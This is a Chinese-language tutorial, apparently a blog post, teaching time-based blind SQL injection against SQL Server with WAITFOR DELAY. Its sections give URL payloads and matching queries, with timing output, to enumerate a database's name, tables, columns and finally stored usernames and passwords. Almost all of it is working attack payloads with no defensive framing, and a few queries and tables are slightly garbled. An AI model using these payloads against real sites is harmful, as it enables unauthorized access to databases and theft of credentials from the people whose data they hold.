0x01 前言

SQL Server 的延时注入比较离谱，延时代码必须放到 SQL语句的最后面

这就导致了，注入点必须可以闭合代码，并且使用 — 注释掉后面的无用代码

如果没有办法保证 waitfor delay ‘0:0:5’ 在 SQL的最后面，那么本方法就无法使用

0x02 测试数据

  1. 1> select * from article;
  2. 2> go
  3. +----+-----------+-----------+
  4. | id | title       | content    |
  5. +----+-----------+-----------+
  6. |  1 | 测试标题  | 测试内容  |
  7. |  2 | 测试标题2 | 测试内容2 |
  8. +----+-----------+-----------+
  9. (2 rows affected)
  1. # 测试表数据: users;
  3. sql server> select * from users;
  4. +----+--------------+----------+
  5. | id | username     | password |
  6. +----+--------------+----------+
  7. |  1 | test-user-01 |  123456  | 
  8. |  2 | test-user-02 |  234567  |
  9. +----+--------------+----------+
  10. 2 rows in set (0.00 sec)
  1. sql server> SELECT system_user;
  2. +-----------------------+
  3. | field1                |
  4. +-----------------------+
  5. | sa                    |
  6. +-----------------------+
  7. 1 row in set (0.00 sec)
  1. sql server> select db_name();
  2. +-----------------------+
  3. | field1                |
  4. +-----------------------+
  5. | test                  |
  6. +-----------------------+
  7. 1 row in set (0.00 sec)

0x03 猜库名

注意: db_name(1) 修改会显示其他库名
例如:
修改为db_name() 就是当前连接的数据库
修改为db_name(1) 就是出1库
修改为db_name(2) 就是出2库

web语句: http://www.test.com/sql.php?id=1‘ IF(db_name() like ‘%test%’) waitfor delay ‘0:0:5’ — a

数据库语句: select * from article WHERE id=’1’ IF(db_name() like ‘%test%’) waitfor delay ‘0:0:5’ — a’;

  1. # 获取 当前连接的数据库 数据
  3. # 对得情况
  5. 1> SELECT
  6.     *
  7. FROM
  8.     article
  9. WHERE
  10.     id = '1'
  11. IF (db_name() LIKE '%test%') WAITFOR delay '0:0:5' -- a';
  13. 2> go
  14. +----+----------+----------+
  15. | id | title      | content   |
  16. +----+----------+----------+
  17. |  1 | 测试标题 | 测试内容 |
  18. +----+----------+----------+
  19. (1 rows affected)  (5.064 sec)
  24. # 错误的情况
  25. 1> SELECT
  26.     *
  27. FROM
  28.     article
  29. WHERE
  30.     id = '1'
  31. IF (db_name() LIKE '%aaaa%') WAITFOR delay '0:0:5' -- a';
  33. 2> go
  34. +----+----------+----------+
  35. | id | title      | content   |
  36. +----+----------+----------+
  37. |  1 | 测试标题 | 测试内容 |
  38. +----+----------+----------+
  39. (1 rows affected)  (0.04 sec)

0x04 猜表名

注意：
OVER(Order by table_name) 里面的 table_name 要修改为 information_schema.tables 表里面存在的一个字段

查询不同的库可以这样
例如：
table_catalog=db_name() (查询当前库)
table_catalog=’要查询的库名’

查询不同的表可以这样
例如:
修改 row_number>=1
修改 row_number>=2

web语句: http://www.test.com/sql.php?id=1‘ IF((select table_name from (select ROW_NUMBER() OVER(Order by table_name) AS row_number,table_name FROM information_schema.tables where table_catalog=db_name()) as a where row_number=1) like ‘%article%’) waitfor delay ‘0:0:5’ — a

数据库语句: select * from article WHERE id=’1’ IF((select table_name from (select ROW_NUMBER() OVER(Order by table_name) AS row_number,table_name FROM information_schema.tables where table_catalog=db_name()) as a where row_number=1) like ‘%article%’) waitfor delay ‘0:0:5’ — a’;

  1. # 获取 当前库 1表数据
  3. # 对的情况
  4. 1> SELECT
  5.     *
  6. FROM
  7.     article
  8. WHERE
  9.     id = '1'
  10. IF (
  11.     (
  12.         SELECT
  13.             table_name
  14.         FROM
  15.             (
  16.                 SELECT
  17.                     ROW_NUMBER () OVER (ORDER BY table_name) AS row_number,
  18.                     table_name
  19.                 FROM
  20.                     information_schema.tables
  21.                 WHERE
  22.                     table_catalog = db_name()
  23.             ) AS a
  24.         WHERE
  25.             row_number = 1
  26.     ) LIKE '%article%'
  27. ) WAITFOR delay '0:0:5' -- a';
  28. 2> go
  29. +----+----------+----------+
  30. | id | title      | content   |
  31. +----+----------+----------+
  32. |  1 | 测试标题 | 测试内容 |
  33. +----+----------+----------+
  34. (1 rows affected)  (5.03 sec)
  41. # 错误的情况
  42. 1> SELECT
  43.     *
  44. FROM
  45.     article
  46. WHERE
  47.     id = '1'
  48. IF (
  49.     (
  50.         SELECT
  51.             table_name
  52.         FROM
  53.             (
  54.                 SELECT
  55.                     ROW_NUMBER () OVER (ORDER BY table_name) AS row_number,
  56.                     table_name
  57.                 FROM
  58.                     information_schema.tables
  59.                 WHERE
  60.                     table_catalog = db_name()
  61.             ) AS a
  62.         WHERE
  63.             row_number = 1
  64.     ) LIKE '%bbbb%'
  65. ) WAITFOR delay '0:0:5' -- a';
  66. 2> go
  67. +----+----------+----------+
  68. | id | title      | content   |
  69. +----+----------+----------+
  70. |  1 | 测试标题 | 测试内容 |
  71. +----+----------+----------+
  72. (1 rows affected)  (0.05 sec)
  1. # 获取 当前库 2表数据
  3. # 对的情况
  4. 1> SELECT
  5.     *
  6. FROM
  7.     article
  8. WHERE
  9.     id = '1'
  10. IF (
  11.     (
  12.         SELECT
  13.             table_name
  14.         FROM
  15.             (
  16.                 SELECT
  17.                     ROW_NUMBER () OVER (ORDER BY table_name) AS row_number,
  18.                     table_name
  19.                 FROM
  20.                     information_schema.tables
  21.                 WHERE
  22.                     table_catalog = db_name()
  23.             ) AS a
  24.         WHERE
  25.             row_number = 2
  26.     ) LIKE '%users%'
  27. ) WAITFOR delay '0:0:5' -- a';
  28. 2> go
  29. +----+----------+----------+
  30. | id | title      | content   |
  31. +----+----------+----------+
  32. |  1 | 测试标题 | 测试内容 |
  33. +----+----------+----------+
  34. (1 rows affected)  (5.05 sec)
  38. # 错误的情况
  39. 1> SELECT
  40.     *
  41. FROM
  42.     article
  43. WHERE
  44.     id = '1'
  45. IF (
  46.     (
  47.         SELECT
  48.             table_name
  49.         FROM
  50.             (
  51.                 SELECT
  52.                     ROW_NUMBER () OVER (ORDER BY table_name) AS row_number,
  53.                     table_name
  54.                 FROM
  55.                     information_schema.tables
  56.                 WHERE
  57.                     table_catalog = db_name()
  58.             ) AS a
  59.         WHERE
  60.             row_number = 2
  61.     ) LIKE '%aaaaaaa%'
  62. ) WAITFOR delay '0:0:5' -- a';
  63. 2> go
  64. +----+----------+----------+
  65. | id | title      | content   |
  66. +----+----------+----------+
  67. |  1 | 测试标题 | 测试内容 |
  68. +----+----------+----------+
  69. (1 rows affected)  (0.03 sec)

0x05 猜字段

注意：
OVER(Order by column_name) 里面的 column_name 要修改为 information_schema.columns 表里面存在的一个字段

查询不同的表可以这样
例如：
table_name=’要查询的表名’

查询不同的字段可以这样
例如:
修改 row_number>=1
修改 row_number>=2

web语句: http://www.test.com/sql.php?id=1‘ IF((select column_name from (select ROW_NUMBER() OVER(Order by column_name) AS row_number,column_name from information_schema.columns where table_catalog=db_name() and table_name=’users’) as a where row_number=1) like ‘%id%’) waitfor delay ‘0:0:5’ — a

数据库语句: select * from article WHERE id=’1’ IF((select column_name from (select ROW_NUMBER() OVER(Order by column_name) AS row_number,column_name from information_schema.columns where table_catalog=db_name() and table_name=’users’) as a where row_number=1) like ‘%id%’) waitfor delay ‘0:0:5’ — a’;

  1. # 当前库 users表 字段数据列表
  2. 1> SELECT
  3.     *
  4. FROM
  5.     (
  6.         SELECT
  7.             ROW_NUMBER () OVER (ORDER BY column_name) AS row_number,
  8.             column_name
  9.         FROM
  10.             information_schema.columns
  11.         WHERE
  12.             table_catalog = db_name()
  13.         AND table_name = 'users'
  14.     ) AS a;
  15. 2> go
  16. +-------------+-------------+
  17. | row_number | column_name |
  18. +-------------+-------------+
  19. |           1 | id          |
  20. |           2 | password   |
  21. |           3 | username    |
  22. +-------------+-------------+
  23. (3 rows affected)
  1. # 获取当前库 users表 第一个字段数据
  3. # 对的情况
  4. 1> SELECT
  5.     *
  6. FROM
  7.     article
  8. WHERE
  9.     id = '1'
  10. IF (
  11.     (
  12.         SELECT
  13.             column_name
  14.         FROM
  15.             (
  16.                 SELECT
  17.                     ROW_NUMBER () OVER (ORDER BY column_name) AS row_number,
  18.                     column_name
  19.                 FROM
  20.                     information_schema.columns
  21.                 WHERE
  22.                     table_catalog = db_name()
  23.                 AND table_name = 'users'
  24.             ) AS a
  25.         WHERE
  26.             row_number = 1
  27.     ) LIKE '%id%'
  28. ) WAITFOR delay '0:0:5' -- a';
  29. 2> go
  30. +----+----------+----------+
  31. | id | title      | content   |
  32. +----+----------+----------+
  33. |  1 | 测试标题 | 测试内容 |
  34. +----+----------+----------+
  35. (1 rows affected)  (5.077 sec)
  39. # 错误的情况
  40. 1> SELECT
  41.     *
  42. FROM
  43.     article
  44. WHERE
  45.     id = '1'
  46. IF (
  47.     (
  48.         SELECT
  49.             column_name
  50.         FROM
  51.             (
  52.                 SELECT
  53.                     ROW_NUMBER () OVER (ORDER BY column_name) AS row_number,
  54.                     column_name
  55.                 FROM
  56.                     information_schema.columns
  57.                 WHERE
  58.                     table_catalog = db_name()
  59.                 AND table_name = 'users'
  60.             ) AS a
  61.         WHERE
  62.             row_number = 1
  63.     ) LIKE '%aaaaaaaaa%'
  64. ) WAITFOR delay '0:0:5' -- a';
  65. 2> go
  66. +----+----------+----------+
  67. | id | title      | content   |
  68. +----+----------+---------5+
  69. |  1 | 测试标题 | 测试内容 |
  70. +----+----------+----------+
  71. (1 rows affected)  (0.003 sec)
  1. # 获取当前库 users表 第二个字段数据
  3. # 对的情况
  4. 1> SELECT
  5.     *
  6. FROM
  7.     article
  8. WHERE
  9.     id = '1'
  10. IF (
  11.     (
  12.         SELECT
  13.             column_name
  14.         FROM
  15.             (
  16.                 SELECT
  17.                     ROW_NUMBER () OVER (ORDER BY column_name) AS row_number,
  18.                     column_name
  19.                 FROM
  20.                     information_schema.columns
  21.                 WHERE
  22.                     table_catalog = db_name()
  23.                 AND table_name = 'users'
  24.             ) AS a
  25.         WHERE
  26.             row_number = 2
  27.     ) LIKE '%password%'
  28. ) WAITFOR delay '0:0:5' -- a';
  29. 2> go
  30. +----+----------+----------+
  31. | id | title      | content   |
  32. +----+----------+----------+
  33. |  1 | 测试标题 | 测试内容 |
  34. +----+----------+----------+
  35. (1 rows affected)  (5.05 sec)
  39. # 错误的情况
  40. 1> SELECT
  41.     *
  42. FROM
  43.     article
  44. WHERE
  45.     id = '1'
  46. IF (
  47.     (
  48.         SELECT
  49.             column_name
  50.         FROM
  51.             (
  52.                 SELECT
  53.                     ROW_NUMBER () OVER (ORDER BY column_name) AS row_number,
  54.                     column_name
  55.                 FROM
  56.                     information_schema.columns
  57.                 WHERE
  58.                     table_catalog = db_name()
  59.                 AND table_name = 'users'
  60.             ) AS a
  61.         WHERE
  62.             row_number = 2
  63.     ) LIKE '%savasv%'
  64. ) WAITFOR delay '0:0:5' -- a';
  65. 2> go
  66. +----+----------+----------+
  67. | id | title      | content   |
  68. +----+----------+----------+
  69. |  1 | 测试标题 | 测试内容 |
  70. +----+----------+----------+
  71. (1 rows affected)  (0.03 sec)

0x06 猜内容

注意：
OVER(Order by username) 里面的 username 要修改为 users 表里面存在的一个字段

获取不同得字段数据可以修改 web语句里面得 a.username
例如
user表字段数据为：id， username，password
因为我使用了别名，所以如果想要获取其他得数据可以改成
a.id，a.username，a.password

查询不同的数据可以这样
例如:
修改 row_number>=1
修改 row_number>=2

web语句: http://www.test.com/sql.php?id=1‘ IF((select a.username from (SELECT ROW_NUMBER () OVER (ORDER BY username) AS row_number,* from users) as a where row_number=1) like ‘%test-user-01%’) waitfor delay ‘0:0:5’ — a

数据库语句: select from article WHERE id=’1’ IF((select a.username from (SELECT ROW_NUMBER () OVER (ORDER BY username) AS row_number, from users) as a where row_number=1) like ‘%test-user-01%’) waitfor delay ‘0:0:5’ — a’;

  1. # 查询users表 第一条数据, username 字段数据
  3. # 对的情况
  4. 1> SELECT
  5.     *
  6. FROM
  7.     article
  8. WHERE
  9.     id = '1'
  10. IF (
  11.     (
  12.         SELECT
  13.             a.username
  14.         FROM
  15.             (
  16.                 SELECT
  17.                     ROW_NUMBER () OVER (ORDER BY username) AS row_number ,*
  18.                 FROM
  19.                     users
  20.             ) AS a
  21.         WHERE
  22.             row_number = 1
  23.     ) LIKE '%test-user-01%'
  24. ) WAITFOR delay '0:0:5' -- a';
  26. 2> go
  27. +----+----------+----------+
  28. | id | title      | content   |
  29. +----+----------+----------+
  30. |  1 | 测试标题 | 测试内容 |
  31. +----+----------+----------+
  32. (1 rows affected)  (5.07 sec)
  37. # 错误的情况
  38. 1> SELECT
  39.     *
  40. FROM
  41.     article
  42. WHERE
  43.     id = '1'
  44. IF (
  45.     (
  46.         SELECT
  47.             a.username
  48.         FROM
  49.             (
  50.                 SELECT
  51.                     ROW_NUMBER () OVER (ORDER BY username) AS row_number ,*
  52.                 FROM
  53.                     users
  54.             ) AS a
  55.         WHERE
  56.             row_number = 1
  57.     ) LIKE '%aaaaaa%'
  58. ) WAITFOR delay '0:0:5' -- a';
  60. 2> go
  61. +----+----------+----------+
  62. | id | title      | content   |
  63. +----+----------+----------+
  64. |  1 | 测试标题 | 测试内容 |
  65. +----+----------+----------+
  66. (1 rows affected)  (0.07 sec)
  1. # 查询users表 第二条数据, password 字段数据
  3. # 对的情况
  4. 1> SELECT
  5.     *
  6. FROM
  7.     article
  8. WHERE
  9.     id = '1'
  10. IF (
  11.     (
  12.         SELECT
  13.             a.password
  14.         FROM
  15.             (
  16.                 SELECT
  17.                     ROW_NUMBER () OVER (ORDER BY username) AS row_number ,*
  18.                 FROM
  19.                     users
  20.             ) AS a
  21.         WHERE
  22.             row_number = 2
  23.     ) LIKE '%234567%'
  24. ) WAITFOR delay '0:0:5' -- a';
  25. 2> go
  26. +----+----------+----------+
  27. | id | title      | content   |
  28. +----+----------+----------+
  29. |  1 | 测试标题 | 测试内容 |
  30. +----+----------+----------+
  31. (1 rows affected)  (5.06 sec)
  34. # 错误的情况
  35. 1> SELECT
  36.     *
  37. FROM
  38.     article
  39. WHERE
  40.     id = '1'
  41. IF (
  42.     (
  43.         SELECT
  44.             a.password
  45.         FROM
  46.             (
  47.                 SELECT
  48.                     ROW_NUMBER () OVER (ORDER BY username) AS row_number ,*
  49.                 FROM
  50.                     users
  51.             ) AS a
  52.         WHERE
  53.             row_number = 2
  54.     ) LIKE '%aascacascsac%'
  55. ) WAITFOR delay '0:0:5' -- a';
  56. 2> go
  57. +----+----------+----------+
  58. | id | title      | content   |
  59. +----+----------+----------+
  60. |  1 | 测试标题 | 测试内容 |
  61. +----+----------+----------+
  62. (1 rows affected)  (0.06 sec)